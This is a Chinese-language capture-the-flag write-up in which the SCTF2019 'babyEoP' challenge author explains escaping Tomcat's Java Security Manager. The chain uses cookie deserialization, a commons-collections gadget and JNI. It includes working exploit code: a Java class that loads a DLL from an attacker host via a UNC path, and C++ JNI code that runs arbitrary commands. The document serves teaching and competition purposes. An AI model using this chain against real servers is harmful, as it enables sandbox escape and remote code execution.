SCTF2019 babyEoP Writeup

前言

第一次给比较正式的比赛出题 :) ,花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了,看结果还是阔以的——0解,也有些遗憾,没能让 Part 2 出来。

Writeup

题目给了一个webshell,弱口令 123456 直接进去。

Tomcat启用了Java Security Manager,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。

如果顺利,应该可以收集到以下信息:

  1. cookie处存在反序列化的点,有反序列化漏洞。

  2. 查看lib目录,存在 commons-collections 3.1 gadget。

  3. 找到 catalina.policy 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限,所以无法列目录,但是 conf 目录是可读的。(有将近10位选手读到了这个文件hhhh。)

    我在官方提供的 catalina.policy 的基础上,做了一些修改。给了 LoadLibrarycreateClassLoaderaccessDeclaredMembers 几个重要权限。

分析 policy ,应该很容易可以想到,要通过 JNI 绕过 Java Security Manager。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。

并且,webshell 的 Eval Java Code 使用时,需要向当前目录写一个 tmp.jsp 文件,所以也是不能用的(不要想着用这个执行代码)。

那么该如何才能执行代码来加载一个不在本地的dll呢?

下面是具体的解题思路:

题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。

构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java (基于 CommonsCollections6)

有些师傅用的 CommonsCollections5 gadget 改的,但是 BadAttributeValueExpException 在反序列化时,会检查是否启用 JSM,如果启用了,则不会触发 gadget 需要的 toString 方法,导致利用失败。

下面要加载 dll,用 JNI 绕 JSM。

同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。

这里利用 System.load 的一个特性——可以使用 UNC 路径,加载远程的 dll。

为什么可以使用 UNC 呢?来看下 System.load 的调用过程。

  1. System.load

1561382235958

​ 调用了 Runtime.getRuntime().load0

  1. Runtime.getRuntime().load0

    1561383875593

​ 在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。

  1. File.isAbsolute

    1561382827270

    再看看 File 是如何判断是否是绝对路径的。

    根据描述,linux下要求以 / 开头。windows下,要求以盘符或者 \\\\ 开头。

emm 综上,所以这里可以使用 UNC 路径。

下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。

这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。

EXP

R.java

1
2
3
4
5
6
7
8
9
10
11
public class R {
static {
System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
}

public static native void exec(String cmd);

public R(String cmd) {
exec(cmd);
}
}

执行命令

1
2
javac R.java
jar cvf R.jar R.class

将打包的 R.jar 放到服务器上的 web 服务下。

DLL

R.h

1
2
3
4
5
6
7
8
9
10
#ifdef __cplusplus
extern "C" {
#endif
JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

R.cpp

1
2
3
4
5
6
7
8
9
#include "R.h"
#include<stdlib.h>

JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
system(cmd);
env->ReleaseStringUTFChars(str,cmd);
}

编译成 dll,放到服务器的 webdav 服务下。

https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~

文章目录
  1. 1. 前言
  2. 2. Writeup
    1. 2.1. EXP
      1. 2.1.1.
      2. 2.1.2. DLL
        1. 2.1.2.1. R.h
        2. 2.1.2.2. R.cpp
|